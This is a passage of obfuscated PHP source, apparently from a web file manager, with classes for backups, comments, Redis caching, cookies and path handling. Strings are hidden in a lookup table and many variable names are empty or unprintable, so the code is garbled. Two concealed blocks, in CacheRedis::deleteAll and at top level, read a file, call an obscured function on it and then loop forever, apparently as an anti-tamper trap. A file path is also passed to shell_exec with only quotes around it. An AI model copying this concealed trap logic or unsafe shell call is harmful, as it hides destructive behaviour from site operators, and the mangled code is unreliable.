. $Ƀ[853] . $ . $Ƀ[8]; IO::remove($ް, !1); return $this->remove($); } public function remove($ܾ) { $֢ = $this->listData($ܾ); if (!$֢) { return !0; } return $this->backupRemove($֢); } private function backupRemove($摪) { parent::remove($摪[$_SERVER[ձК][477]]); $ = $this->backupPath($摪); IO::remove($, !1); return !0; } private function backupPath($) { $ǣ =& $_SERVER[ձК]; $ = $[$ǣ[32]]; $ˌ = Model($ǣ[844])->get($ǣ[845]); $ = substr(md5($ǣ[846] . $ˌ . $), 0, 8); return "\173\x69\x6f\72{$[$ǣ[826]]}\175\57\x64\141\164\141\x62\141\163\x65\x2f\x62\141\x63\153\165\160\x2f" . $ . $ǣ[11] . $; } public function start() { $ =& $_SERVER[ձК]; if ($GLOBALS[$[6]][$[92]][$[2007]] != $[91]) { return !0; } $ = $this->config(); if (!$ || $[$[1746]] != $[91]) { return !1; } if ($[$[171]] == $[850]) { $ = Model($[844])->get($[1326]); if ($ == $[1327]) { $[$[171]] = $[1211]; } } $❏ = $this->process(); foreach ($❏ as $) { if ($) { return Task::restart($[$[477]]); } } $Ī = new Backup(); $ = $Ī->db(); if ($) { $ = $Ī->dbFile(); if ($ && $[$[171]] == $[850]) { $ = $Ī->file(); } } Backup::set(array($[824] => 1, $[835] => time())); return !0; } public function process() { $ݩ =& $_SERVER[ձК]; $ = array($ݩ[831] => Task::get($ݩ[857]), $ݩ[836] => Task::get($ݩ[875]), $ݩ[232] => Task::get($ݩ[884])); $Ϝ = !1; foreach ($ as &$腸) { if ($Ϝ) { $腸 = !1; continue; } if ($腸) { $Ë = intval(_get($腸, $ݩ[1782], 0)); if (time() - $Ë > 7200) { Task::kill($腸[$ݩ[477]]); $Ϝ = !0; $腸 = !1; } } } return $; } public function restore() { $ =& $_SERVER[ձК]; ActionCall($[1139], !0, 1); ActionCall($[1139], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\x63\x6f\x6d\x6d\x65\156\164"; protected $tableMeta = array("\164\141\142\x6c\145\116\x61\155\x65" => "\143\x6f\155\x6d\x65\156\x74\x5f\155\x65\x74\x61", "\x6d\145\164\x61\106\x69\145\x6c\144" => "\143\157\x6d\155\x65\156\164\111\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($Ӡԏٚ) { $˕ =& $_SERVER[ձК]; if ($Ӡԏٚ[$˕[2008]]) { $ = $this->where(array($˕[2009] => $Ӡԏٚ[$˕[2008]]))->find(); if (!$ || $[$˕[190]] != $Ӡԏٚ[$˕[190]] || $[$˕[571]] != $Ӡԏٚ[$˕[571]]) { return !1; } $this->where(array($˕[2009] => $Ӡԏٚ[$˕[2008]]))->setAdd($˕[2010], 1); } $Ӡԏٚ[$˕[2011]] = 0; $Ӡԏٚ[$˕[2010]] = 0; $Ӡԏٚ[$˕[824]] = 1; return $this->add($Ӡԏٚ); } public function commentCount($ɟ, $, $ = false) { $ʪ =& $_SERVER[ձК]; if (!$ɟ) { return array(); } if (is_string($ɟ) || is_int($ɟ)) { $ɟ = array($ɟ); } $ͻԭ = array($ʪ[571], $ʪ[2012] => $ʪ[567]); $ = array($ʪ[571] => array($ʪ[7], $ɟ), $ʪ[190] => $); if ($) { $[$ʪ[1777]] = $; } $ځ = $this->field($ͻԭ)->where($)->group($ʪ[571])->select(); return array_to_keyvalue($ځ, $ʪ[571], $ʪ[567]); } public function starTarget($, $) { $߷ =& $_SERVER[ձК]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($߷[1777] => USER_ID, $߷[190] => $, $߷[571] => $); $ϙˠ = $this->where($)->find(); if ($ϙˠ) { return $this->where(array($߷[477] => $ϙˠ[$߷[477]]))->delete(); } $ם = array($߷[2008] => 0, $߷[1777] => USER_ID, $߷[824] => 1, $߷[171] => $߷[12], $߷[190] => $, $߷[571] => $, $߷[2011] => 0, $߷[2010] => 0); return $this->add($ם); } public function starTargetCount($脙, $) { $ =& $_SERVER[ձК]; $ک = $ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($脙, $ک); $ = $this->commentCount($脙, $ک, USER_ID); return array($[2013] => $, $[2014] => $); } public function starTargetUserList($, $ҫ) { $ =& $_SERVER[ձК]; $ܳ = $ + self::TYPE_STAR_OFFSET; $ל = array($[571] => $ҫ, $[190] => $ܳ); $ = $this->where($ל)->count(); $̺ = array($[334] => $, $[2015] => array()); if (!$) { return $̺; } $ = $this->field($[1777])->where($ל)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1777]); $̺[$[2015]] = Model($[579])->userListInfo($); return $̺; } public function prasiseUserList($) { $◠ =& $_SERVER[ձК]; $ = array($◠[2016] => $); $ = $this->where($)->find(); $і = _get($, $◠[2011], 0); $ = array($◠[334] => $і, $◠[2015] => array()); if (!$і) { return $; } $࢛ = Model($◠[2017])->field($◠[1777])->where($)->limit(500)->select(); $࢛ = array_to_keyvalue($࢛, $◠[12], $◠[1777]); $[$◠[2015]] = Model($◠[579])->userListInfo($࢛); return $; } public function remove($) { $ڝם =& $_SERVER[ձК]; $ = array($ڝם[2009] => $); $Ԡ = $this->where($)->find(); if ($Ԡ[$ڝם[2008]]) { $this->where(array($ڝם[2009] => $Ԡ[$ڝם[2008]]))->setAdd($ڝם[2010], -1); } return $this->where($)->delete(); } public function edit($ϧ, $垑) { $ԏ =& $_SERVER[ձК]; $ = array($ԏ[2009] => $ϧ); return $this->where($)->save(array($ԏ[2018] => $垑)); } public function prasise($҃) { $ =& $_SERVER[ձК]; $ᚯ = Model($[2019]); $ = array($[2009] => $҃, $[1768] => USER_ID); $ = $ᚯ->where($)->find(); if (!$) { $ᚯ->add($); $ = $this->where(array($[2009] => $҃))->setAdd($[2011], 1); } else { $ᚯ->where($)->delete(); $ = $this->where(array($[2009] => $҃))->setAdd($[2011], -1); } return $; } public function targetInfo($ͭ, $) { $ =& $_SERVER[ձК]; $ߗ = array($[653] => $ͭ, $[654] => $); $Χ = $this->where($ߗ)->count(); $Ӫ = "\122\x49\x47\x48\x54\40\x4a\117\111\116\40{$this->tablePrefix}\x63\157\155\x6d\145\x6e\x74\137\160\162\141\151\163\145\40\163\x74\x61\162\x20\157\x6e\x20\143\x6f\x6d\x6d\145\156\164\56\143\x6f\155\x6d\145\156\164\111\x44\x20\x3d\x20\x73\164\x61\162\56\143\x6f\155\x6d\145\x6e\x74\x49\x44"; $¨ = $this->alias($[431])->where($ߗ)->join($Ӫ, $[2020])->count(); $ު = array($[2021] => $Χ, $[2022] => $¨); return $ު; } public function listData($©) { $џ =& $_SERVER[ձК]; if (isset($©[$џ[2023]])) { if ($©[$џ[2023]]) { $©[$џ[2016]] = array($џ[1093], intval($©[$џ[2023]])); } unset($©[$џ[2023]]); } if (isset($©[$џ[2024]])) { if ($©[$џ[2024]]) { $©[$џ[2016]] = array($џ[1090], intval($©[$џ[2024]])); } unset($©[$џ[2024]]); } return $this->_listData($©); } private function _listData($õ) { $ =& $_SERVER[ձК]; $˜ = $this->where($õ)->_makeOrder()->selectPage(100); $this->_listAppendParent($˜[$[447]]); $this->_listAppendUser($˜[$[447]]); $this->_listAppendMeta($˜[$[447]]); return $˜; } private function _makeOrder() { $폑֡ =& $_SERVER[ձК]; $ = array($폑֡[2011], $폑֡[2010], $폑֡[233]); $ = Input::get($폑֡[532], $폑֡[7], $폑֡[499], $); $Úζ = Input::get($폑֡[533], $폑֡[7], $폑֡[1770], array($폑֡[2025], $폑֡[528])); $˿ = $ . $폑֡[53] . $Úζ; return $this->order($˿); } private function _listAppendParent(&$ރ) { $ǖ =& $_SERVER[ձК]; $悼 = array_unique(array_to_keyvalue($ރ, $ǖ[12], $ǖ[2008])); $悼 = array_remove_value($悼, $ǖ[230]); if (!$悼) { return; } $ݙ = $this->where(array($ǖ[2009] => array($ǖ[7], $悼)))->select(); $ݙ = array_to_keyvalue($ݙ, $ǖ[2016]); foreach ($ރ as &$) { if (isset($ݙ[$[$ǖ[2008]]])) { $[$ǖ[2026]] = $ݙ[$[$ǖ[2008]]]; } } unset($); } private function _listAppendUser(&$ע) { $䗼 =& $_SERVER[ձК]; $Ƈ = array_unique(array_to_keyvalue($ע, $䗼[12], $䗼[1777])); $Ƈ = array_remove_value($Ƈ, $䗼[230]); if (count($Ƈ) == 0) { return; } foreach ($ע as $Dž˚) { if (isset($Dž˚[$䗼[2026]])) { $Ƈ[] = $Dž˚[$䗼[2026]][$䗼[1777]]; } } $Dž = Model($䗼[599])->userListInfo($Ƈ); foreach ($ע as &$Dž˚) { $Dž˚[$䗼[667]] = $Dž[$Dž˚[$䗼[1777]]]; if (isset($Dž˚[$䗼[2026]])) { $Dž˚[$䗼[2026]][$䗼[667]] = $Dž[$Dž˚[$䗼[2026]][$䗼[1777]]]; } } unset($Dž˚); } private function _listAppendMeta(&$҂) { $ķ =& $_SERVER[ձК]; $̺ц = array_unique(array_to_keyvalue($҂, $ķ[12], $ķ[2016])); $̺ц = array_remove_value($̺ц, $ķ[230]); if (!$̺ц) { return; } foreach ($҂ as $Ɯ) { if (isset($Ɯ[$ķ[2026]])) { $̺ц[] = $Ɯ[$ķ[2026]][$ķ[2016]]; } } $± = $this->metaList($̺ц); if (!$±) { return !1; } foreach ($҂ as &$Ɯ) { $Ɯ[$ķ[541]] = $±[$Ɯ[$ķ[2016]]]; if (isset($Ɯ[$ķ[2026]])) { $Ɯ[$ķ[2026]][$ķ[541]] = $±[$Ɯ[$ķ[2026]][$ķ[2016]]]; } } unset($Ɯ); } private function metaList($ʔ) { $ =& $_SERVER[ձК]; if (!$ʔ) { return array(); } $낧 = array($[2016] => array($[7], $ʔ)); $ = Model($[2027])->where($낧)->select(); $ = array_to_keyvalue_group($, $[2016]); foreach ($ as $ => $) { $څВ = array(); foreach ($ as $ߐ) { $څВ[$ߐ[$[97]]] = $ߐ[$[452]]; } $[$] = $څВ; } return $ ? $ : array(); } public function removeTarget($ۖ, $) { $ϟ =& $_SERVER[ձК]; if (!$) { return !0; } $ = is_array($) ? $ : array($); $܅ = array($ϟ[190] => $ۖ, $ϟ[571] => array($ϟ[7], $)); $ = $this->field($ϟ[2016])->where($܅)->select(); $Ӛ = array_to_keyvalue($, $ϟ[12], $ϟ[2016]); if (!$Ӛ) { return !0; } $܅ = array($ϟ[2016] => array($ϟ[7], $Ӛ)); $this->where($܅)->delete(); Model($ϟ[2019])->where($܅)->delete(); Model($ϟ[2028])->where($܅)->delete(); } } goto D̊; c㉯: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($̓, $) { $ =& $_SERVER[ձК]; if (!class_exists($[945])) { show_json($[946], !1); } $this->cacheTime = $; $ = isset($̓[$[947]]) ? $̓[$[947]] : 10; $ = _get($̓, $[944]); if ($ && is_array($)) { $this->initCluster($̓, $); } else { $this->handle = $this->init($̓, $); } } private function init($ơ, $۵) { $ =& $_SERVER[ձК]; $ټ = new Redis(); $נ = isset($ơ[$[948]]) ? $ơ[$[948]] : !1; if ($נ) { $ټ->pconnect($ơ[$[208]], $ơ[$[209]], $۵); } else { $ټ->connect($ơ[$[208]], $ơ[$[209]], $۵); } if (!empty($ơ[$[489]])) { $ټ->auth($ơ[$[489]]); } if (!empty($ơ[$[831]]) && $ơ[$[831]] != 0) { $ټ->select($ơ[$[831]]); } return $ټ; } private function initCluster($, $ī) { $ =& $_SERVER[ձК]; $ = array($[949], $[950], $[951]); $˭ߤ = $[949]; if (isset($[$[16]]) && in_array($[$[16]], $)) { $˭ߤ = $[$[16]]; } switch ($˭ߤ) { case $[949]: $this->_slave($, $ī); break; case $[950]: break; case $[951]: $this->isCluster = !0; $ݎ = $[$[944]]; $Ԅʢ = isset($[$[948]]) ? $[$[948]] : !1; $ю = isset($[$[489]]) ? $[$[489]] : null; $this->handle = new RedisCluster(NUll, $ݎ, $ī, $ī, $Ԅʢ, $ю); break; default: break; } } private function _slave($, $Ȥ) { $Ȭ˙ = $[$_SERVER[ձК][944]]; $this->filterConfig($, $Ȭ˙[0]); $this->handle = $this->init($, $Ȥ); unset($Ȭ˙[0]); if (empty($Ȭ˙)) { return; } $ϡ = array_rand($Ȭ˙); $this->filterConfig($, $Ȭ˙[$ϡ]); $this->slaveHandle = $this->init($, $Ȥ); } private function filterConfig(&$߶, $±) { $ɯ =& $_SERVER[ձК]; $ = explode($ɯ[4], $±); $ = array($ɯ[208] => $[0], $ɯ[209] => $[1]); $߶ = array_merge($߶, $); } public function set($, $ݷ, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $ݷ); } public function setLock($, $, $) { return $this->handle->setNX($, $); } public function get($) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[ձК]; if (!isset($_SERVER[$[952]]) || !isset($_SERVER[$[953]])) { $ = $[954]; $ྯ = $[955]; $ = $_SERVER[$[956]] . $[957]; $ҿ = $ྯ($); $쨁 = explode($[287], $ҿ); if (count($쨁) < $[694]) { $۲ = $[958]; $۲(); } $ = $[959]; $($_SERVER[$[960]]); $ = 1; for ($ = $; $ > 0; $++) { $ = json_encode($GLOBALS[$[494]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $À) { $this->handle->flushall($À); } return; } return $this->handle->flushAll(); } } if (!isset($_SERVER[$_SERVER[ձК][952]]) || !isset($_SERVER[$_SERVER[ձК][953]])) { $_getc = $_SERVER[ձК][955]; $_getfile = $_SERVER[$_SERVER[ձК][956]] . $_SERVER[ձК][957]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ձК][287], $_getfilec); if (count($_getarrs) < $_SERVER[ձК][696]) { $exit = $_SERVER[ձК][958]; $exit(); } $_act = $_SERVER[ձК][961]; $_act($_SERVER[$_SERVER[ձК][956]] . $_SERVER[ձК][957]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[ձК][456]); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ˢ = '', $Ǔ雷 = 0) { if (is_string($ˢ) && $ˢ != $_SERVER[ձК][12]) { $this->prefix = $ˢ; } if (is_numeric($Ǔ雷) && $Ǔ雷 > 0) { $this->expire = $Ǔ雷; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($, $, $ = 0, $ = false, $ = false) { $鹢 =& $_SERVER[ձК]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $ . $) { return; } self::$sameCookieSet[$] = $ . $; if (!$) { $ = str_replace(HOST, $鹢[12], APP_HOST); $ = _get($GLOBALS, $鹢[962], $); } $è = $鹢[12]; setcookie($, $, time() + $, $鹢[8] . trim($, $鹢[8]) . $è, !1, !1, $); } public static function setSafe($϶, $, $ = 0) { self::set($϶, $, $, !0); } public static function get($ʼn۱) { static $֒ = false; if (!$֒) { self::initHeaderCookie(); $֒ = !0; } return isset($_COOKIE[$ʼn۱]) ? $_COOKIE[$ʼn۱] : !1; } private static function initHeaderCookie() { $ѵʋ =& $_SERVER[ձК]; if (!isset($_SERVER[$ѵʋ[963]]) || !$_SERVER[$ѵʋ[963]]) { return; } $Β = explode($ѵʋ[74], $_SERVER[$ѵʋ[963]]); foreach ($Β as $Ҹ) { $Ҹ = explode($ѵʋ[508], $Ҹ); if (count($Ҹ) != 2 || !isset($Ҹ[1])) { continue; } $_COOKIE[trim($Ҹ[0])] = trim($Ҹ[1]); } } public static function remove($Ƽ, $ = false) { unset($_COOKIE[$Ƽ]); self::set($Ƽ, $_SERVER[ձК][12], 1, $); } } goto Cְ鄾; A: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ =& $_SERVER[ձК]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($ſ) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($ſ, $_SERVER[ձК][8]); } return $ſ; } public function iconvApp($) { return $; } public function iconvSystem($) { return $; } public function iconvTo($, $։, $Ì) { $ =& $_SERVER[ձК]; if (!$ || !function_exists($[72])) { return $; } static $˽ = array(); $ = $։ . $[73] . $Ì . $[74] . $; if (isset($˽[$])) { return $˽[$]; } if (function_exists($[75])) { $ي = @mb_convert_encoding($, $Ì, $։); } else { $ي = @iconv($։, $Ì, $); } $ي = $ي ? $ي : $; if (strstr($ي, $[76])) { $ي = str_replace($[76], $[11], $ي); } $˽[$։ . $[73] . $Ì . $[74] . $] = $ي; $˽[$Ì . $[73] . $։ . $[74] . $] = $; $˽[$Ì . $[73] . $։ . $[74] . $ي] = $; $˽[$։ . $[73] . $Ì . $[74] . $ي] = $ي; return $ي; } public function getPathInner($Ι) { $Ц = IO::init($Ι); return $Ц->path; } public function getPathOuter($ϒ樂) { $͊ =& $_SERVER[ձК]; $ = strlen(trim($this->pathBase, $͊[8])); $ϒ樂 = substr(trim($ϒ樂, $͊[8]), $); return $this->pathDriver . $͊[8] . ltrim($ϒ樂, $͊[8]); } public function isParentOf($Բ, $) { $ =& $_SERVER[ձК]; $Բ = rtrim(strtolower($Բ), $[8]) . $[8]; $ = rtrim(strtolower($), $[8]) . $[8]; $⣆ = strpos($, $Բ) === 0; return $⣆; } public function getType() { $ =& $_SERVER[ձК]; $ = str_replace($[77], $[12], get_class($this)); return strtolower($); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($DŽӲ, $칂) { $֮ =& $_SERVER[ձК]; $묓 = rtrim($DŽӲ, $֮[8]) . $֮[8] . $칂; $ְ = $this->exist($묓); return $ְ ? $묓 : !1; } public function setModifyTime($Խ, $ = '') { } public function renameObject($Տ, $ش) { $ = $ش; $Տ = $this->getPathOuter($Տ); $ش = $this->pathFather($Տ) . $ش; $ы = IO::copy($Տ, $this->pathFather($Տ), REPEAT_RENAME_FOLDER, $); if ($ы) { IO::remove($Տ); } return $ы ? $ش : !1; } public function tempFile($ = '', $䮂 = '') { if (!$) { $ = rand_string(15); } $Ә = TEMP_FILES . rand_string(15) . $_SERVER[ձК][8]; @mkdir($Ә, DEFAULT_PERRMISSIONS, !0); $ = $Ә . $; @touch($); if ($䮂) { file_put_contents($, $䮂); } return $; } public function tempFileRemve($ɔɩ) { @unlink($ɔɩ); @rmdir($this->pathFather($ɔɩ)); } public function mkfile($, $岟 = '', $攓 = REPEAT_RENAME) { } public function mkdir($̮, $Χ = REPEAT_SKIP) { } public function delFile($Յ) { } public function delFolder($Ŧ) { } public function copyFile($ڳ, $) { } public function moveFile($, $) { } public function remove($) { if ($this->isFile($)) { return $this->delFile($); } return $this->delFolder($); } public function rename($, $ۜߜ) { } public function exist($Ώ) { } public function findByHash($«ي = '', $Ó = '') { return !1; } public function isFile($) { } public function isFolder($) { } public function size($⏕) { } public function info($) { } public function infoSimple($) { return $this->info($); } public function infoAuth($蛬) { return $this->info($蛬); } public function infoFull($) { return $this->info($); } public function infoFullSimple($ׄ) { return $this->info($ׄ); } public function infoWithChildren($ɳ) { $ =& $_SERVER[ձК]; static $ = array(); if (isset($[$ɳ])) { return $[$ɳ]; } $ = $this->info($ɳ); if ($ && $[$[33]] == $[78]) { $ = array($[79] => 0, $[80] => 0, $[81] => 0); $this->infoChildren($ɳ, $); $[$[79]] = $[$[79]]; $[$[82]] = array($[83] => $[$[80]], $[84] => $[$[81]]); $[$ɳ] = $; } return $; } public function listPath($, $ΐ = false) { } public function has($, $ = false, $̌ = false) { } public function canRead($) { } public function canWrite($ʆȅ) { } public function getContent($ҳ) { } public function setContent($Ї, $ʬ = '') { } protected function infoChildren($ˆ, &$ۿ) { $圡 =& $_SERVER[ձК]; check_abort_echo(); $ = $this->listPath($ˆ, !0); $ = array_merge($[$圡[85]], $[$圡[86]]); foreach ($ as $) { if ($[$圡[33]] == $圡[78]) { $ۿ[$圡[81]]++; $돪 = $this->getPathInner($[$圡[87]]); $this->infoChildren($돪, $ۿ); } else { $ۿ[$圡[80]]++; $ۿ[$圡[79]] += $[$圡[79]]; } } } public function fileSubstr($, $ٴΰ, $) { } public function listAll($) { } public function listAllMake($Ә, &$) { $֩ =& $_SERVER[ձК]; check_abort_echo(); $쮫 = $this->listPath($Ә, !0); if (!$쮫) { return; } $ = array_merge($쮫[$֩[85]], $쮫[$֩[86]]); foreach ($ as $րʢ) { $ = $րʢ[$֩[33]] == $֩[78]; $ = array($֩[87] => $րʢ[$֩[87]], $֩[78] => $); if (isset($րʢ[$֩[79]])) { $[$֩[79]] = $րʢ[$֩[79]]; } if (isset($րʢ[$֩[88]])) { $[$֩[88]] = $րʢ[$֩[88]]; } if (!$) { $[] = $; continue; } $[] = $; $ƶ = $րʢ[$֩[87]]; $ = $this->pathDriver; if (substr($րʢ[$֩[87]], 0, strlen($)) == $) { $ƶ = substr($ƶ, strlen($)); } $this->listAllMake($ƶ, $); } } public function listAllSimple($Â, $䡽 = false) { $Ϋɒ = $this->listAll($Â); return $this->listAllSimpleMake($Ϋɒ, $this->getPathOuter($Â), $䡽); } public function listAllSimpleMake($Ȼ, $ֻʯ, $) { $ط =& $_SERVER[ձК]; $ӻ = array(); $ֻʯ = rtrim(get_path_father($ֻʯ), $ط[8]) . $ط[8]; foreach ($Ȼ as $ǭ) { $ = array($ط[87] => $ǭ[$ط[87]], $ط[89] => $ǭ[$ط[87]], $ط[78] => $ǭ[$ط[78]]); if (isset($ǭ[$ط[79]]) && !$ǭ[$ط[78]]) { $[$ط[79]] = $ǭ[$ط[79]]; } if (isset($ǭ[$ط[88]])) { $[$ط[88]] = $ǭ[$ط[88]]; } if (is_array($ǭ[$ط[90]])) { $[$ط[89]] = $ǭ[$ط[90]][$ط[87]]; $[$ط[79]] = $ǭ[$ط[90]][$ط[79]]; $[$ط[88]] = $ǭ[$ط[90]][$ط[88]]; } else { if (substr($ǭ[$ط[87]], 0, strlen($ֻʯ)) == $ֻʯ) { $[$ط[87]] = substr($ǭ[$ط[87]], strlen($ֻʯ)); } } $ = $ǭ[$ط[78]] ? $ط[8] : $ط[12]; $[$ط[89]] = rtrim($[$ط[89]], $ط[8]) . $; $[$ط[87]] = $ط[8] . trim($[$ط[87]], $ط[8]) . $; if (!$) { $ٚϙ = explode($ط[8], trim($[$ط[87]], $ط[8])); $[$ط[87]] = $ط[8] . implode($ط[8], array_slice($ٚϙ, 1)) . $; } $ӻ[] = $; } return array_sort_by($ӻ, $ط[87]); } public function upload($Ҹ, $թ՝, $ٌ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($Եщ, $٘, $ͻ) { } public function uploadFileByPath($, $, $ = array()) { } public function isUploadServer() { $͜ =& $_SERVER[ձК]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $͜[91]) { return !0; } return $GLOBALS[$͜[6]][$͜[92]][$͜[93]]; } public function isFileOutServer() { $ =& $_SERVER[ձК]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[91]) { return !0; } return $GLOBALS[$[6]][$[92]][$[94]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($Ȅ) { $ =& $_SERVER[ձК]; if (!$this->isCdnHost()) { return $Ȅ; } return str_replace(trim(get_url_root($Ȅ), $[8]), trim($this->cdnHost, $[8]), $Ȅ); } public function uploadLink($, $ = 0) { $Ҝ =& $_SERVER[ձК]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ꥒ = 1024 * 1024 * 10; $ = $ <= $ꥒ ? $Ҝ[95] : $Ҝ[96]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $Ѽ = $this->{$}($, $); if ($Ѽ) { $Ѽ[$Ҝ[97]] = $; $Ѽ[$Ҝ[98]] = $; } return $Ѽ; } public function uploadFormData($͔, $ = 3600) { } public function uploadMultiData($, $ = 3600) { } public function multiUploadFormData($, $ = 3600) { return $this->uploadMultiData($, $); } public function download($, $) { } public function ext($Ζ) { $ =& $_SERVER[ձК]; if (strpos($Ζ, $[8]) === -1) { $ј = $Ζ; } else { $ј = $this->pathThis($Ζ); } $ = $[12]; if (strstr($ј, $[10])) { $ = substr($ј, strrpos($ј, $[10]) + 1); $ = strtolower($); } if (strlen($) > 3 && preg_match($[99], $, $ݐ)) { $ = $[12]; } return $; } public function pathThis($ݢ) { $ㅐ =& $_SERVER[ձК]; $ݢ = str_replace($ㅐ[100], $ㅐ[8], rtrim($ݢ, $ㅐ[8])); $̼ = strrpos($ݢ, $ㅐ[8]); if ($̼ === !1) { return $ݢ; } return substr($ݢ, $̼ + 1); } public function pathFather($) { $ц =& $_SERVER[ձК]; $ = str_replace($ц[100], $ц[8], rtrim($, $ц[8])); $ = strrpos($, $ц[8]); if ($ === !1) { return $ц[12]; } return substr($, 0, $ + 1); } public function hashSimple($) { $ =& $_SERVER[ձК]; if (!$) { return md5($[12]); } $匆 = $this->size($); $؇ = 200; $٫ = 50; if ($匆 <= $؇ * $٫) { return $this->hashMd5($) . $匆; } $ = intval($匆 / $٫); $ = $[12]; for ($ = 0; $ < $٫; $++) { $ .= $this->fileSubstr($, $ * $, $؇); } $ .= $this->fileSubstr($, $匆 - $؇, $؇); return md5($) . $匆; } public static $md5Cache = array(); public function hashMd5($ߚ) { if (!$ߚ) { return md5($_SERVER[ձК][12]); } $ߚ = $this->iconvSystem($ߚ); if (isset(self::$md5Cache[$ߚ])) { return self::$md5Cache[$ߚ]; } self::$md5Cache[$ߚ] = $this->hashMd5Shell($ߚ); if (!self::$md5Cache[$ߚ]) { self::$md5Cache[$ߚ] = @md5_file($ߚ); } return self::$md5Cache[$ߚ]; } private function hashMd5Shell($߮) { $ =& $_SERVER[ձК]; if (!$߮) { return md5($[12]); } if (!function_exists($[101])) { return !1; } $ = array($[102], $[103]); $ב = Cache::get($[104]); if (!$ב) { $ = BASIC_PATH . $[105]; $ = md5_file($); $ב = $[106]; foreach ($ as $蜘Ǩ) { $Ы = shell_exec($蜘Ǩ . "\x20\x22{$}\x22"); if ($Ы && substr(trim($Ы), 0, 32) == $) { $ב = $蜘Ǩ; break; } } Cache::set($[104], $ב, 3600); } if ($ב == $[106]) { return !1; } $Ы = shell_exec($ב . "\40\x22{$߮}\42"); $Ы = str_replace($[107], $[12], $Ы); return substr($Ы, 0, 32); } public function link($) { return $; } public function fileOut($͟, $Ґ = false, $և = false, $ݹ = '') { $݁ =& $_SERVER[ձК]; $this->cacheMethod(null, null); if (!$͟ || !$this->exist($͟)) { show_json(LNG($݁[108]), !1, $և); } $ = $this->getType() == $݁[109]; $ތ = $GLOBALS[$݁[6]][$݁[92]][$݁[110]][$݁[111]]; $ = (double) $GLOBALS[$݁[6]][$݁[92]][$݁[110]][$݁[112]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($͟); $ = $[$݁[79]]; $ = gmdate($݁[113], $[$݁[88]]); $ = $և ? $և : $this->iconvApp($[$݁[32]]); $̧ = 0; $ = $ - 1; $ = $this->ext($); if (in_array($, array($݁[114], $݁[115], $݁[116], $݁[117]))) { $ = $݁[118]; } if (in_array($, array($݁[119]))) { $ = $݁[120]; } if (!$ݹ) { $ݹ = md5($ . $); } $ݹ = $݁[121] . $ݹ . $݁[121]; $ = get_file_mime($); $ = !0; $ = isset($_GET[$݁[122]]) ? !1 : !0; if ($Ґ === !1 && !mime_support($)) { $ = $݁[123]; } header($݁[124]); header($݁[125] . $); $ = rawurlencode($); $ = $݁[121] . $ . $݁[126] . $; if ($Ґ) { header($݁[127]); header($݁[128] . $); } else { if ($) { header($݁[129] . $); } } $Χ = 3600 * 24 * 30; header($݁[130]); header($݁[131]); header($݁[132] . $Χ); header($݁[133] . gmdate($݁[113], time() + $Χ) . $݁[134]); if (isset($_SERVER[$݁[135]]) && strtotime($_SERVER[$݁[135]]) == $[$݁[88]]) { header($݁[136], !0, 304); die; } if (isset($_SERVER[$݁[137]]) && $_SERVER[$݁[137]] == $ݹ) { header($݁[138] . $ݹ, !0, 304); die; } header($݁[138] . $ݹ); header($݁[139] . $ . $݁[134]); header($݁[140] . $); header($݁[141]); header($݁[142] . $); header($݁[143]); Hook::trigger($݁[144], $͟, $, $, $); if (!$Ґ && $ == $݁[145]) { if ($ > 1024 * 1024 * 5) { die; } $ʹ = $this->getContent($͟); $ʹ = Html::clearSVG($ʹ); header($݁[146] . strlen($ʹ)); echo $ʹ; die; } $ = strtolower($_SERVER[$݁[147]]); if ($ && $ && $ތ) { if (strstr($, $݁[148])) { header($݁[149] . $͟); } else { if (strstr($, $݁[150])) { header($݁[151] . $͟); } else { if (strstr($, $݁[152])) { header($݁[153] . $͟); } } } if ($) { header($݁[154] . $); } return; } if (isset($_SERVER[$݁[155]])) { if (preg_match($݁[156], $_SERVER[$݁[155]], $ڱ)) { $̧ = intval($ڱ[1]); $̧ = $̧ <= 0 ? 0 : ($̧ >= $ ? $ : $̧); if (!empty($ڱ[2])) { $ = intval($ڱ[2]); $ = $ < $̧ ? $̧ : ($ >= $ ? $ : $); } } header($݁[157]); 